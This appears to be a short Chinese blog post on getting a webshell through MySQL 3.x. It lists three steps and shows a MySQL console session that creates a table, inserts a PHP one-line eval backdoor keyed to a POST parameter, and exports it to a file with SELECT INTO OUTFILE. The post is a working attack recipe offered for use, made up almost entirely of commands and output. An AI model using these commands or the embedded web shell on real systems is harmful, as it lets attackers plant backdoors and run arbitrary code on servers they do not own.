mysql 3.x拿webshell

2023-01-31 01:01:36 mysql webshell 3.

Mysql 3.x拿WEBshell

  1. 先建表 字段 

  2. 写入一句话

  3. 查询导出一句话


mysql> use mysql

Database changed

mysql> Create TABLE demo (sanr text NOT NULL);

Query OK, 0 rows affected (0.00 sec)

mysql> Insert INTO demo (sanr) VALUES('<?PHP @eval($_POST[pass]);?>');

Query OK, 1 row affected (0.00 sec)

mysql> select sanr from demo  into outfile 'c:/1.txt';

Query OK, 1 row affected (0.03 sec)

mysql>


相关文章